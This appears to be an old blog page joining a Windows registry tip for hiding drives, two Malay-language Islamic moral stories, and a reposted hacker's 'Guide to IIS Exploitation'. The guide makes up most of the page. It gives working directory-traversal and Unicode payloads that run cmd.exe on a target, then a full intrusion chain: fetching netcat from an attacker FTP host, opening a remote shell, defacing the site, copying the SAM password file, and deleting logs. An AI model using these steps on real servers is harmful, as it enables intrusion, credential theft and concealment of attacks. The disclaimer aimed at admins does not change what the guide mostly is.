Go to My Computer/Drives and uncheck the drive/partition(s) you want hidden. Click "Apply" or "OK" when finished.

If you have XP but not Tweak UI you can download it here...

http://www.Mcft.com/windowsxp/downloads/powertoys/xppowertoys.mspx

For Win NT, 2000, and XP you can use the following Registry edit:

*Be sure to back up the Registry before proceeding

http://www.worldstart.com/tips/tips.php/401

Open the Registry Editor by going to Start/Run and typing in "regedit" (without the quotes). Find your way to...

HKEY_CURRENT_USER\Software\Mcft\Windows\CurrentVersion\Policies

Click on "Explorer".

Double-click the "NoDrives" key in the right column. If you don't find a "NoDrives" registry key, just right-click in the right pane and choose "New/DWORD Value" then name the key "NoDrives".

You'll see a value like "0000 00 00 00 00". This is where the fun starts. The four sets of double zeros (after the "0000") are where you'll enter the values for the drive/partitions. Now, stay with me on this-it's not as complicated as it sounds:

The first column is for drives A-H, the second for I-P, the third for Q-X, and the fourth for Y-Z.

The values for each drive are as follows:

1 - A I Q Y

2 - B J R Z

4 - C K S

8 - D L T

16 - E M U

32 - F N V

64 - G O W

80 - H P X

So, let's say you want to hide drive D. In the first column you would put "08". For drive K you would put "04" in the second column.

But what if you want to hide more than one drive in a column? Simply add the values together: D+E = 8+16 = 24. So in the first column you would put "24".

Still baffled? If you have XP then go get TweakUI and save yourself the math.

Whichever method you use, you can rest easy knowing that the files on that drive or partition are less accessible to other users.

Pengakuan Dari Musuh Nombor Satu

2008-09-14T03:56:00.001-07:00

Nabi Muhammad s.a.w. adalah seorang yang paling dihormati dan dipercayai oleh seluruh anggota masyarakat Quraisyh, baik sebelum dirinya diutus menjadi Rasul mahupun sesudahnya. Sebelum baginda diutus menjadi Rasul lagi, baginda telah memperoleh gelaran "Al-Amin" yang bererti orang yang dipercayai. Baginda memperoleh gelaran itu tidak lain kerana peribadinya yang indah serta budi pekertinya yang mulia lagi terpuji. Anehnya baginda bukan sahaja dianggap orang yang paling benar oleh para sahabat dan pengikutnya tetapi juga oleh musuh-musuh baginda termasuk Abu Jahal Bin Hisyam, musuh Islam nombor satu dan juga musuh baginda Rasulullah s.a.w.

Pernah suatu ketika datang seorang sahabat Abu Jahal bertanya kepadanya: "Ya Abu Hakam, di sini tidak ada orang lain yang akan dapat mendengar perbualan kita selain engkau dan aku. Maka itu aku ingin tahu dari mulutmu sendiri, apakah Muhammad itu seorang yang benar atau pendusta?". Betapa terkejutnya lelaki itu apabila Abu Jahal menjawab pertanyaannya itu dengan pantas dan spontan: "Demi Tuhan! Sesungguhnya Muhammad itu seorang yang benar dan ia tidak pernah berbohong sama sekali."

Demikian anehnya, satu-satunya kejadian dalam dunia ini seorang musuh ketat terang-terang tanpa teragak-agak lagi mengakui bahawa lawannya itu seorang yang benar. Ini satu-satunya keistimewaan Nabi Muhammad s.a.w., baginda dianggap benar sekalipun oleh musuh-mushnya yang paling ketat sekali

Hamba Yang Banyak Celanya

2008-09-14T03:50:00.001-07:00

Syeikh Abdurrahman AI-Muhazzab bercerita pula:

Sekali peristiwa ketika saya pergi untuk membeli-belah di pasar, saya melalui pasar hamba, dan saya terlihat di sana ada seorang saudagar yang sedang menawarkan seorang hamba, yang usianya masih keeil lagi, katanya berulang kali:

'Siapakah ingin membeli hamba yang banyak celanya ini?' Kemudian diulangi lagi kata-kata itu berkali-kali. Sudah tentulah tidak ada orang yang mahu membelinya. Saya lalu menghampiri saudagar itu seraya bertanya kepadanya: 'Apakah cela hamba ini?'

Saudagar itu tidak menjawab, tetapi disuruhnya saya sendiri menanyakan hamba itu tentang keaibannya. Maka saya merenung wajah hamba itu, lalu bertanya kepadanya pula:

'Apa cela yang ada padamu itu?'

'Cela hamba sangat banyak,' jawab hamba itu. 'Akan tetapi saya sendiri tidak mengerti cela yang mana satu yang dimaksudkan oleh tuan pemilikku, sehingga dia memberiku gelaran sebagai hamba yang paling banyak celanya.

Saya berpaling semula kepada pemilik hamba itu dan bertanya sekali lagi: 'Cela yang mana satu yang tuan maksudkan?'

'Mmm, hamba ini mengidap penyakit gila,' jawab saudagar itu. 'Penyakit gila?' Saya merenung wajah saudagar itu. Dalam hatiku mengatakan tidak mungkin. Orang gila tak akan begini jawabnya.

'Betulkah engkau mengidap penyakit gila?' tanyaku ingin tahu. 'Begitulah seperti kata tuan pemilikku,' dia menjawab penuh ragu dan tidak jelas.

'Kalau betul pun, pada saat apakah penyakit itu datang?' tanyaku lagi. 'Adakah setiap hari, atau setiap minggu, atau sebulan sekali? Tolonglah terangkan!'

'Tuan, bila penyakit itu menggusir di hati hamba, maka berjalanlah la ke seluruh anggota badanku, kemudian ke dalam jiwaku. Maka ketika itu akan berubahlah akalku, kemudian tanpa kurasakan lagi lisanku menyebut-nyebut nama yang paling kucinta'. Akhirnya penyakit itu membuat hatiku benar-benar terpancang kepadaNya. Sementara itu badanku tidak bergerak sedikit pun. Maka dengan sebab itulah, orang bodoh yang melihatku dalam keadaan demikian akan menuduhku 'orang gila', sedang aku sendiri tidak memahami rnengapa orang boleh mengatakan begitu, kerana mungkin dia tidak pernah mengalami apa yang pernah aku alami itu.'

Mendengar apa yang dikatakan oleh hamba itu, teringat di dalam hatiku, bahawa dia termasuk di antara kekasih Allah. Orang 'bodoh' seperti yang diungkapkan hamba itu memang mementingkan kulit saja, tidak kenal isi. Saya Ialu mendekati pemiliknya dan bertanya: 'Berapakah harganya?'

'Dua ratus dirham,' jawabnya mahu tak mahu. 'Nah' ini dua ratus dirharn harganya,' sambil menghulurkan wang itu, 'dan ini dua puluh dirham lagi, aku tambah untukmu,' kataku lagi.

Saya pun mengajak hamba itu pulang ke rumah. Tiba di rumah, saya menyuruhnya masuk, tetapi rnulanya ia enggan, seraya bertanya:

'Tuan tidak rnempunyai keluarga?!' dia bertanya kepadaku. 'Ada,' 'jawabku pendek.

'Maaf,' katanya, 'tidak boleh seseorang itu bertemu dengan selain keluarganya sendiri.'

'Tidak mengapa, aku benarkan kau masuk ke dalam, kataku lagi.

'Semoga Allah memelihara hamba dari segala dosa,' ujarnya.

'Tidak mengapalah, biar hamba duduk di luar saja. Sekiranya tuan memerlukan sesuatu, hamba bersedia untuk rnengerjakannya tanpa memasuki rumah.'

Bagaimana hamba ini? Aku ingat di dalam hati. Kelihatannya dia terlalu warak dan menjaga selok-belok agamanya dengan baik. 'Baiklah, kalau begitu! jawabku kepadanya.

Saya terus memasuki rumah untuk mengambil makanan dan minuman untuk memberikannya kepada hamba itu, tetapi ia menolaknya dengan alasan ia sedang berpuasa. Pada waktu malam, hamba itu berada sendirian di kamarnya di luar rumah. Saya lihat senyap sahaja tiada berbunyi. Maka pada tengah malam saya keluar untuk mengintipnya, dan saya dapati ia sedang bersholat dengan khusyuknya. Dia tidak sedar saya sedang mengintipnya. Selesai dari sholat ia terus sujud menangis serta berdoa.

'Ya Allah! Ya Tuhan hamba! Semua raja telah menutupi pintu rumahnya, namun pintu Tuan sajalah yang tetap terbuka luas bagi siapa yang ingin memintamu! 'Ya Tuhan! Bintang-bintang di langit semuanya berkelip-kelipan, mata-mata insan pula sedang tertutup kerana nyenyak dalam tidur, namun Dikaulah Zat yang sentiasa sedar selamanya, tidak pernah mengantuk atau tidur.

'Ya Allah! Kalau ada seorang sedang berkumpul dengan kekasihnya, maka Dikaulah kekasih bagi orang yang benar-benar mengenal cinta.

'Ya Allah! Kalau Tuan mengusir hamba, ke manakah hamba akan pergi.

'Ya Allah! jika Tuan menjauhkan hamba dari pintuMu, siapakah hamba akan mengetuk lagi?

'Ya Allah! jika Tuan akan menyiksa hamba, memang sepantasnyalah, sebab hamba tergolong orang-orang yang berdosa. Namun, Jika Tuan memberi maaf, memanglah Tuan adalah Maha Pemaaf dan Belas-kasih kepada semua hambaMu, kerana Dikaulah Maha Dermawan!'

Sesudah itu, anak itu bangun dari sujudnya seraya menangis, lalu mengangkat kepalanya lagi dan berdoa:

'Ya llahi! KepadaMulah siapa yang dekat denganmu beramal. Dengan kurnia Tuan, selamatkanlah hamba-hambamu yang salih dari kebinasaan. Dengan rahmat Tuan, sedarkanlah hamba-hambamu yang tersesat supaya kembali ke jalan yang lurus. Wahal Zat yang Baik! Berilah hamba kemaafan, berilah hamba maghfirah dan keampunan, sesungguhnya Tuan adalah Zat Pemberi maaf terhadap segala kesalahan hambanya!' Mendengar doa hamba itu, tidak terbayangkan lagi keharuan di hatiku, lalu saya meninggalkan tempat itu, supaya tidak mengganggu kekusyukan hamba itu. Pagi-pagi saya datang untuk menemuinya dan bertanya sapa kepadanya. Saya memberi salam kepadanya seraya bertanya:

Anakku! Bagaimana tidurmu semalam, tenangkah?' saya pura-pura tanya tidak tahu.

'Bolehkah tidur mata yang benar-benar takutkan api neraka?' tanya dia kembali kepadaku.

'Lagi,' kataku hendak mendengar seterusnya.

'Bolehkah tidur mata yang selalu mengingat perhitungan amal di Mahsyar nanti, serta membayangkan saat dan ketika dihadapkan kepada Tuhan yang Maha Kuasa?' hamba itu kemudian menangis terisak-isak.

'Anakku! Aku merdekakan dirimu semata-mata kerana Allah,' kataku kepadanya.

Dia tidak menjawab, tetapi justeru dia semakin menangis. Tidak lama kemudian ia berkata pula: 'Tuan!' katanya kepadaku. 'Hamba dulu mendapat dua pahala, iaitu pahala beribadah dan pahala melayani tuan. Kini satu daripadanya sudah dibebaskan, tinggal satu lagi, iaitu beribadat kepada Tuhan.' 'Ya, saya faham maksudmu itu, sebab itu saya merdekakanmu,' kataku kepadanya lagi.

'Terima kasih, dan semoga Allah menyelamatkan tuan dari api neraka!' doanya untukku pula.

Saya pun memberinya wang untuk keperluannya, dan membenarkan dia pergi, kerana dia sudah menjadi orang merdeka sekarang, Dia lalu mengucapkan setinggi terima kasih lagi kepadaku, tetapi wang yang kuberikannya itu ditolaknya sambil berkata:

'Tuhan yang memberiku rezeki sewaktu hamba di perut ibu, Dialah nanti yang akan menanggung rezeki hamba saat hamba berada di atas buminya ini!' Hamba itu kemudian pergi meninggalkanku, dan sesudah itu saya tidak pernah lagi bertemu dengannya. 'Ya Allah! Berilah hambamu ini taufiq dan hidayah, sebagaimana Dikau telah menganugerahkannya kepada para kekasih dan orang pilihanmu, Amin.

Guide to IIS Exploitation

2008-09-14T03:22:00.001-07:00

***************************************************************************

* Guide to IIS Exploitation *

* by fugjostle *

* *

* V.1.0.1 *

* *

* Questions? Comments? Email: fugjostle at ch0wn.com *

***************************************************************************

Disclaimer: I do not condone hacking IIS servers in any way,

shape or form. This guide is intended as a guide

for admins to help them understand what most

script kiddies don't understand but are happy to

exploit.

--[On the first day, God created directory traversal]

Relative paths are the developers friend. They allow an entire website to

be moved to another directory without the need for changing all the links

in the html. For example, lets say we have a webpage called 'pictures.html'

in the htdocs dir:

Absolute path: /home/webpages/htdocs/pictures.html

Absolute path: /home/webpages/images/pic1.gif

In the html you can refer to the 'pic1.gif' via an absolute path shown

above or use a relative path:

Relative path: ../images/pic1.gif

The relative path tells the server that it has to go to the parent

directory (dot dot) --> from /home/webpages/htdocs to /home/webpages. Then

the server goes into the images dir and looks for the gif file to display.

Anyone who has used the 'cd' command in DOS and *nix should be familiar

with the operation. So what's the problem I hear you ask... well, the

programmers of web server didn't think to check the supplied URL to ensure

that the requested file was actually in the web directory. This allows

someone to backtrack through the servers directory structure and request

files that the web server has access to. For example,

http://www.target.com/../../../etc/passwd

NB. you can also use double dots and double quotes. This is useful to evade

Intrusion Detection Systems (IDS):

http://www.target.com//....//....//...././etc/./passwd

The webserver simply strips the extra stuff out and processes the request.

This is the same as the previous example and can make string matching IDS's

work for their money.

--[On the second day, God created Hexadecimal]

Once programmers started to realise the mistake they began to create parser

routines to check for naughty URL's and keep the requests within the

document root. Then along comes a wiley hacker who wonders if by encoding

the URL will it still be recognised by the parser routines.

You may have noticed that when you enter a URL that includes a space it is

replaced with the hex equivalent (%20):

http://www.target.com/stuff/my index.html

becomes

http://www.target.com/stuff/my%20index.html

and voila, it works. So what would happen if we changed the now denied URL:

http://www.target.com/../../../etc/passwd

http://www.target.com/%2e%2e/%2e%2e/%2e%2e/etc/passwd

The parser routine checks for the existence of dots in the path and finds

none... the webserver then proceeds with the request.

An interesting feature is that you can encode the hex symbol and the web

server will decode it all for you. This is called the "double decode".

For example, given the URL "http://victim.com/..%252f..%252fdocs/", the

following will take place:

(1) On the first decode, the string will be converted to:

"http://victim.com/..%2f..%2fdocs/"

[%25 = '%' so '%252f' is decoded to '%2f']

(2) On the second decode, the string will be converted to:

"http://victim.com/../../docs/"

[%2f = '/']

--[On the third day, God created Unicode]

The World Wide Web is a global phenomenon and as such needs to be globally

interoperable. This raised the question of how to deal with all the different

character sets around the world. As a response to this, Unicode was created:

-----------------------------------------------------------------

Unicode provides a unique number for every character, no matter

what the platform, no matter what the program, no matter what

the language. The Unicode Standard has been adopted by such

industry leaders as Apple, HP, IBM, JustSystem, Microsoft,

Oracle,SAP, Sun, Sybase, Unisys and many others. Unicode is

required by modern standards such as XML, Java, ECMAScript

(JavaScript), LDAP, CORBA 3.0, WML, etc., and is the official

way to implement ISO/IEC 10646. It is supported in many operating

systems, all modern browsers, and many other products.

-----from http://www.unicode.org---------------------------------

The problem with Unicode is that it requires 16 bits for a single character

and software tended to use 8 bits for a single character. Unicode TransForm

using 8 bits (UTF-8) was created. This allows for multibyte encoding where a

variable number of bytes can be used for each character:

Character 1-byte 2-byte 3-byte

. 2E C0 AE E0 80 AE

/ 2F C0 AF E0 80 AF

\ 5C C1 9C E0 81 9C

This lead to a new vulnerability in certain webservers. The parser didn't

understand this new encoding and allowed it through :-)

For example:

www.target.com/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/etc/passwd

Recent vulnerabilities have been taking advantage of the fact that the web

server doesn't understand the Unicode UTF-8 character set but the underlying

OS does:

www.target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c%20dir

Understanding the distinction between Unicode and UTF-8 can be difficult. As

a general rule of thumb you can use the following format as a guide:

%uxxxx = Unicode

%xx%xx = UTF-8

%xx = Hexidecimal

%xxxx = Double Decode

--[On the fourth day, God created default installs]

IIS comes installed with various DLL's (Dynamic Link Libraries) that

increase the functionality of the web server. These ISAPI (Internet Server

API) applications allow programmers/developers to deliver more functionality

to IIS.

The DLL's are loaded into memory at startup and offer significant speed

over traditional CGI programs. For example, they can be combined with the

Internet Database Connector (httpodbc.dll) to create interactive sites that

use ODBC to access databases.

The problem is that some of these DLL's are insecure and are often installed

with sample scripts that demonstrate how to exploit, erm, I mean use them.

ASP.DLL is used to pre-process requests that end in ".asp". ASP (Active

Server Pages) are basically HTML pages with embedded code that is processed

by the webserver before serving it to the client.

Here's some examples to illustrate how the sample pages installed by default

can aid someone breaking into your site via the ASP.DLL:

[prefix all the examples with http://www.target.com]

/default.asp.

** Appending a '.' to the URL can reveal the source

** on older systems. Remember hex encoding? You can

** also try using %2e to do the same thing.

/msadc/samples/adctest.asp

** This gives you an interface into the msadcs.dll

** and allows creation of DSN's. Read RFP's stuff

** for idea's on how to exploit this.

/iissamples/exair/howitworks/codebrws.asp?source=/msadc/Samples/../../.../../../../boot.ini

/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../.../boot.ini

** You can view the source of anything in the

** document root. '/msadc/' needs to be in the

** request as it is checked for, wait for this,

** security :-)

/index.asp::$DATA

** Appending '::$DATA' to the URL can reveal

** the source of the ASP.

/index.asp%81

** Append a hex value between 0x81 and 0xfe

** and you can reveal the source of any server

** processed file. This only works on servers

** that are Chinese, Japanese or Korean.

/AdvWorks/equipment/catalog_type.asp?ProductType=|shell("cmd+/c+dir+c:\")|

** This one allows you to execute remote

** shell commands ;-)

ISM.DLL is used to process requests that end in ".htr". These pages were used

to administer IIS3 servers. In IIS4 they are not used but various .htr samples

are installed by default anyway and offer another avenue for entry.

/index.asp%20%20%20..(220 more)..%20%20.htr

** IIS will redirect this request to ISM.DLL,

** which will strip the '.htr' extension and

** deliver the source code of the file.

/global.asa+.htr

** Does the same thing as the %20%20 exploit

** above. ISM.DLL strips the +.htr and delivers

** you the source of the file

/scripts/iisadmin/ism.dll?http/dir

** Excellent brute force opportunity if the

** dll exists. Successful logons will reveal

** lots of useful stuff.

/iisadmpwd/aexp.htr

** The iisadmpwd diectory contains several .htr

** files that allow NetBIOS resolution and

** password attacks.

/scripts/iisadmin/bdir.htr??c:\inetpub\www

** This method will only reveal directories

** but can be useful for identifying the

** servers structure for more advanced

** attacks later.

MSADCS.DLL is used to allow access to ODBC components via IIS using RDS

(Remote Data Service). RDS is part of the default install of Microsoft Data

Access Components (MDAC) and is a commonly exploited on IIS. It can allow

arbitrary shell commands to be executed with system privileges.

/msadc/msadcs.dll

** If this file exists then there's a pretty

** good chance that you can run the RDS

** exploit again the box. More on this later.

HTTPODBC.DLL is the Internet Connector Database (IDC) and used when the web

server wants to connect to a database. It allows the creation of web pages

from data in the database, and it allows you to update/delete items from

within webpages. Pages with the extension '.idc' are sent to the HTTPODBC.DLL

for processing.

/index.idc::$DATA

** Appending '::$DATA' to the URL can reveal

** the source of the IDC.

/anything.idc

** Requesting a non-existance file will

** reveal the location of the web root.

/scripts/iisadmin/tools/ctss.idc

** Creates a table based on the parameters it

** receives. Excellent place to look at for

** SQL injection.

SSINC.DLL is used for processing Server Side Includes (SSI). '.stm',

'.shtm' and '.shtml' extension are sent to the DLL which interprets

the SSI statements within the HTML before sending it to the client.

An example of SSI would be:

This SSI tells the server to include the 'news.txt' in the final HTML

sent to the use. SSI statements are beyond the scope of this document

but offer another security hole open to our wiley hax0r. Ensure you

remove the app mapping and disable SSI if you do not require its

functionality.

SSINC.DLL is also vulnerable to a remote buffer overflow, read the

following advisory for details:

http://www.nsfocus.com/english/homepage/sa01-06.htm

Some examples of SSINC.DLL fun:

/anything.stm

** If you request a file that doesn't exist

** then the server error message contains the

** the location of the web root.

/somedir/anything.stm/somedir/index.asp

** Using this method allows you to view the

** the source code for index.asp.

IDQ.DLL is a component of MS Index Server and handles '.ida' and '.idq'

requests. This DLL has had some big exposure with the recent Nimda worm.

I'm not going into too much detail but '.ida' was used in a buffer

overflow that resulted in user defined code being executed on the server.

/anything.ida or /anything.idq

** Requesting a non-existance file will

** reveal the location of the web root.

/query.idq?CiTemplate=../../../boot.ini

** You can use this to read any file on

** the same drive as the web root

CPSHOST.DLL is the Microsoft Posting Acceptor. This allows uploads to your

IIS server, via a web browser or the Web Publishing Wizard. The existance of

this DLL can allow attackers upload files to the server. Other files such as

uploadn.asp, uploadx.asp, upload.asp and repost.asp are installed with Site

Server and allow upload of documents to the server:

/scripts/cpshost.dll?PUBLISH?/scripts/dodgy.asp

** If this file is there then you may be able

** to upload files to the server.

/scripts/uploadn.asp

** Connecting to this page gives you a nice

** gui for uploading your own webpages. You

** probably need to brute the userid.

There are lots more example scripts in the default install and quite a few

of them are very, very insecure. Microsoft recommends that you remove ALL

samples from any production server including the ExAir, WSH, ADO and other

installed samples.

IIS Default Web Site

--------------------

IISSAMPLES - c:\inetpub\iissamples

IISADMIN - c:\winnt\system32\inetsrv\issadmin

IISHELP - c:\winnt\help

SCRIPTS - c:\inetpub\scripts

IISADMPWD - c:\winnt\systems32\inetsrv\iisadmpwd

msadc - c:\program files\common files\system\msadc

logfiles - c:\winnt\system32\logfiles

default.htm - c:\inetpub\wwwroot

IIS Default App Mapping

-----------------------

.asa - c:\winnt\system32\inetsrv\asp.dll

.asp - c:\winnt\system32\inetsrv\asp.dll

.cdx - c:\winnt\system32\inetsrv\asp.dll

.cer - c:\winnt\system32\inetsrv\asp.dll

.htr - c:\winnt\system32\inetsrv\ism.dll

.idc - c:\winnt\system32\inetsrv\httpodbc.dll

.shtm - c:\winnt\system32\inetsrv\ssinc.dll

.shtml - c:\winnt\system32\inetsrv\ssinc.dll

.stm - c:\winnt\system32\inetsrv\ssinc.dll

--[On the fifth day, God created Frontpage Extensions]

Microsoft Frontpage (Originally developed by Vermeer Tech Inc, if you've

ever wondered why they use _vti_) is a web design tool that helps you

create and maintain a web site and allows you to publish it to the web

server.

In order to publish using Frontpage the server needs to run certain

programs, collectively called the Frontpage Server Extensions.

Sounds good I hear you say, but there are many, many security holes in

Frontpage. You can list all the files, download password files and upload

your own files on Frontpage enabled sites.

When you publish a file, Frontpage attempts to read the following URL to

get all the information it needs to publish:

http://www.myserver.com/_vti_inf.html

Then Frontpage uses the following URL to POST the files to the site:

http://www.myserver.com/_vti_bin/shtml.exe/_vti_rpc

It will come as no surprise that this file is not protected and open to

abuse.

All information for the site is stored in the /_vti_pvt/ dir, and its world

readable. Here's some of the things you can look for:

http://www.myserver.com/_vti_pvt/administrators.pwd

http://www.myserver.com/_vti_pvt/authors.pwd

http://www.myserver.com/_vti_pvt/service.pwd

http://www.myserver.com/_vti_pvt/shtml.dll

http://www.myserver.com/_vti_pvt/shtml.exe

http://www.myserver.com/_vti_pvt/users.pwd

http://www.myserver.com/_private

--[On the sixth day, God created CGI]--

The Common Gateway Interface (CGI) is a standard for interfacing external

applications to the web server. A CGI program is excuted in real time and

is used to create dynamic web sites.

Generally, the CGI programs are kept in '/cgi-bin/' but can be placed

anywhere. The programs can be written most languages but typically they are

written in C, Perl or shell scripts.

Many sites will use freely available, downloadable scripts from places like

Matt's Trojan, erm, I mean Matt's Script Archive. Its always a good idea to

look through the source of the scripts for bad system calls and lax input

validation.

CGI deserves a tutorial all to itself and I strongly suggest that you read

the following tutorials... they explain it better than I ever could:

Hacking CGI - http://shells.cyberarmy.com/~johnr/docs/cgi/cgi.txt

Perl CGI Problems - http://www.phrack.com/phrack/55/P55-07

Just to get you in the mood we will have a brief look at CGI exploitation.

There are three main types of CGI hacking; URL encoding attacks, input

validation exploits and buffer overflows.

The first thing to keep in mind is that you are already able to exploit cgi

using the techniques from previous sections. First, we need to cover some

background. CGI can take lots of shapes and forms. One popular use is via

web based forms that submit information to a CGI via a GET or POST.

When the user clicks on the submit button his information is passed to the

CGI script to process either via the URL (GET) or via HTTP headers (POST).

Lets assume that the CGI we are going to exploit asks the user for the name

of a file to display. The 'GET' method uses the URL to pass the information

and it would look like this:

http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwd

Lets break that down:

? - separates the request from the parameters

filename - this is the name of the textbox in the html

= - assignment for the parameter/value pair

/etc/passwd - this is what the user typed into the box

You can have multiple fields within a HTML form and these will also be

passed to the CGI. They are separated using a '&':

http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwd&user=fugjostle

If you were thinking how could you alter the user supplied input to break

the CGI then good, you're starting to think in terms of security. Lots of

developers love to program new and interesting things but they do not

consider security. A security conscious programmer would write input

validation routines that would process the data and ensure the user wasn't

be malicious or curious.

As you read through some of the free scripts on the web you will start to

realise that many programmers do not think about security. Lets look briefly

at some ways we could exploit the CGI. The first thing to keep in mind is

that you already know the generic exploits from the previous section. The

only area in which we are lacking is programming language specific info.

We will stick with the example cgi that open's a file (and let's assume

its written Perl). Lets look at some of the things we can try:

my_cgi.pl?filename=../../../../../etc/passwd

and lets do the same thing but encode the URL to bypass security checks:

my_cgi.pl?filename=../..%c0%af../..%c0%af../etc/passwd

If you have read the RFP document above then you will be familiar with

poison null bytes. Stop now and go read it... can't be arsed? ok then,

here's the quick version. %00 is valid in a string with Perl but is NUL

in C. So? When Perl wants to open the file it makes a request to the

operating system through a system call. The operating system is written in

C and %00 is a string delimiter. Lets apply this technique to the

following situation.

I decide to secure my CGI. I append '.html' to any request. This means that

the user can only view html files and if they try something else then it

doesn't exist. wh00p @ me :-)

But... what if I was to do the following:

my_cgi.pl?filename=../../../../etc/passwd%00

In Perl the filename string would look like this:

"../../../../etc/passwd\0.html"

Perfectly valid under Perl. I have done my job... or have I? When this is

passed to the OS (which is written in C not Perl) the request looks like

this:

"../../../../etc/passwd"

The OS identifies %00 as the string delimiter and ignores anything that

Comes after it. The webserver then displays the /etc/passwd file... bugger :-(

Many people download scripts from the web and look for problems in the

script. Then the wiley hax0r will go to altavista and search for sites

that are using that script, eg:

url:pollit.cgi

and good old altavista provides a list of sites that are just ripe for the

taking.

The final method of exploiting CGI is via buffer overflows. Languages like

Java and Perl are immune to buffer overflows because the language looks

after memory management. Programs written in a language such as C are

vulnerable because the programmer is supposed to manage the memory. Some

programmers fail to check the size of data it is fitting into the memory

buffer and overwrites data in the stack.

The goal of the buffer overflow is to overwrite the instruction pointer

which points to the location of the next bit of code to run. An attacker

will attempt to overwrite this pointer with a new pointer that points to

attacker's code, usually a root shell.

Quite a few CGI's exist that are vulnerable to this type of attack. For

Example, counter.exe is one such CGI. By writing 2000 A's to the CGI cause

a Denial of Service (DoS).

The details of buffer overflows are beyond the scope of this document.

Look out for a future release ;-)

If you want to dig deeper in buffer overflows then have a look at:

http://www.phrack.com/phrack/49/P49-14

--[On the seventh day, God chilled and haxored the planet]

Well.. I guess its time we actually tried some of the things discussed but

I'm not going to cover everything. I suggest going to the following URL's

and searching for IIS:

http://www.securityfocus.com/

http://www.packetstormsecurity.com/

My main reason for doing this file was to better understand Unicode exploits

and so that is going to be the focus of the exploitation. The first exploit

I'm going to go through is the recent Unicode exploit for IIS4/5:

http://www.securityfocus.com/bid/1806

Before I get emails saying 'hold on, you said that %xx%xx is UTF-8" let me

explain. This had wide exposure on Bugtraq as the Unicode exploit. In

reality, this is not a Unicode sploit but a UTF-8 sploit. I'm going to keep

calling this the Unicode exploit because its now referenced by this name in

the Bugtraq archives and you'll have to search using Unicode to do further

research.

Ok, rant over... To check if the server is exploitable, request the

following URL:

http://target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

You should get a directory listing of the C:\ drive on the target server.

The important thing to note is that the Unicode string can vary depending

where in the world you are. Some possible alternatives include:

%c1%1c %c0%9v %c0%af %c0%qf %c1%8s %c1%9c %c1%pc

There are many more to choose from, just look at some of the Bugtraq posts or

research UTF-8 for more alternatives.

OK, you can read the directory... what next? You have the directory listing

and the ability to run commands, so you need to find the web root. By default,

the web root is at:

c:\inetpub\wwwroot\

If its not there then go and look for it. Let's write a text file there and

see if we can see it:

cmd.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txt

hmmm.. it seems that we don't have write access. Ok, no problem we can get

around that by creating a copy of the cmd.exe that has write privileges:

cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\winnt\system32\fug.exe

Let's check if it worked:

http://target.com/scripts/..%c0%af../winnt/system32/fug.exe?/c+dir+c:\

Yep.. all's good so far. Lets try and write to the web root:

fug.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txt

Let's open up it up in the browser and see if we can see it:

http://target.com/test.txt

w00t!!! Write access!!! Right, we now have some options open to us. In the

words of Microsoft, where do you want to go today? Working via the URL is

pretty clunky and I like the comfort of a nice command prompt, So lets do

that. I want to bring over a copy of netcat and a nice html page that I'll

use to replace the existing one.

First I need to think about the script I want to run that will get the

files I need from my FTP server:

fugscript:

open ftp.evilhaxor.com

anonymous

anon@microsoft.com

cd pub

get nc.exe

get hacked.html

quit

Right. I need to get this script onto the webserver:

fug.exe?/c+echo%20open%20ftp.evilhaxor.com>fugscript

fug.exe?/c+echo%20anonymous>>fugscript

fug.exe?/c+echo%20anon@microsoft.com>>fugscript

fug.exe?/c+echo%20cd%20pub>>fugscript

fug.exe?/c+echo%20get%20nc.exe>>fugscript

fug.exe?/c+echo%20get%20hacked.html>>fugscript

fug.exe?/c+echo%20quit>>fugscript

OK.. now we have created a script on the server called fugscript. Next step

is to execute the script and get my files from my web server.

fug.exe?/c+ftp%20-s:fugscript

If all goes well the server should begin the FTP transfer and get your files

transferred. Be patient and give it time to transfer. Now you are ready to

get netcat listening on a port. The command line for starting netcat is:

nc.exe -l -p 6667 -e cmd.exe

This tells netcat to listen (-l) on port 6667 (-p) and to spawn cmd.exe (-e)

when someone connects. The last step is to translate this command into URL

speak ;-):

fug.exe?/c+nc.exe%20-l%20-p%206667%20-e%20cmd.exe

Fire up a telnet session and connect to port 6667 on the target system and

voila... you have a cmd prompt. I really hate web defacements... so if your

going to do it then rename the existing index.htm (or default.htm) to

something like index.htm.old (give the poor admin a break, cause you can bet

your arse that he hasn't made a backup). ALSO: you are now using a system

without authorisation and as such, you are guilty under the Computer Misuse

Act in the UK and probably of something similar in your own country. If it

never occurred to you to delete the contents of c:\winnt\system32\logfiles

or the 'fugscript' file then you really shouldn't be doing this.

It just wouldn't be right to talk about IIS exploitation without mentioning

msadc.pl. rfp's perl script is a perfect example of exploit chaining. A

single exploit is not used but a chain of exploits to get the script to

work.

The exploit utilises a combination of inadequate application input validation

and default install fun. The process tries to connect to a Data Source Name

(DSN) to execute commands.

rfp's script tests for the existence /msadc/msadc.dll using the GET method.

This test will be logged and you should edit the script to make it a HEAD

request and add some URL obfuscation madness.

The default msadc.pl script uses "!ADM!ROX!YOUR!WORLD!" as the MIME

separator string. It is advised to change this string as some IDS's are

configured to identify this string.

If you want to write your own scanners then you should be looking for

headers with the content type:

application/x-varg

and of course the IIS version :-) I don't want to go into too much detail

because this is heavily documented on rfp's site:

http://www.wiretrip.net/rfp/

How do I use it? I hear you cry... well, its child's play:

./msadc2.pl -h www.target.com

If all goes well then you should be presented with the following:

command:

Its interesting to note at this point that 'cmd /c' will is run as with the

previous exploit. You can edit the script to run any other executable such

as 'rdsik /s' instead.

This is good, you can know enter the command you want to run on the server.

The previous Unicode exploit should have given you some ideas but here's a

couple that come to mind:

Example 1:

copy c:\winnt\repair\sam._ c:\inetpub\wwwroot\fug.hak

(grabbing fug.hak via your browser should give you a nice file to fire up

in L0phtcrack or JTR)

Example 2:

echo open ftp.evilhaxor.com>fugscript && echo fug>>fugscript

&& echo mypassword>>fugscript... etc. etc.

Anyway, that's about all for now. When I can be bothered I'll add some more

methods to this file. Until then, ensure your box is fully patched and the

default scripts are removed. Go have a look at the following URL and get

secure:

http://www.microsoft.com/security/

***************************************************************************

